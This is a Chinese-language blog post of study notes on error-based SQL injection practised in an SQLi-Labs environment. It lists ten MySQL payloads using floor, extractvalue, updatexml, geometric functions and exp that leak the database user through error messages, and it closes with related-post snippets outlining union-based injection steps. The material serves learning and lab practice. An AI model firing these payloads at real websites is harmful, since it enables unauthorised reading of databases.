在SQLI LAB練習的顯錯注入(自我整理)

2021-09-19 05:47:51 字數 1898 閱讀 2576

按照慣例,一進來就是先看看情況

這樣的話,可以考慮一下顯錯注入,先讓他語句報錯,然後在錯誤裡爆出我們想要的東西

以下均摘自《**審計:企業級web**安全架構》一書:

1.floor()

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

先來floor() 吧:

接下來我們試一下extractvalue() :

用這個查一下版本吧

還是希望有人能夠指點下,在此謝過。

SQL注入 顯錯注入

顯錯注入 步驟1 判斷是否存在注入點 步驟2 猜解字段數 步驟3 聯合查詢找出輸出點 步驟4 去系統自帶庫查詢表名和欄位名 步驟5 查詢我們需要的欄位名 步驟1 判斷是否存在注入點 192.168.1.10 1 id 1 這裡可以用id 1 來確定是否存在注入點,192.168.1.10 1 id ...

mysql顯錯注入 MySQL注入之顯錯注入

庫 就是一堆表組成的資料集合 資料庫裡自帶的系統庫 information schema information schema裡columns表裡存著所有欄位名 information schema裡schemata表裡存著所有庫名 information schema裡tables表裡存著所有表名...

UpdateXml MYSQL顯錯注入

在學習之前,需要先了解 updatexml updatexml xml document,xpath string,new value 第乙個引數 xml document是string格式,為xml文件物件的名稱,文中為doc 第二個引數 xpath string xpath格式的字串 如果不了解...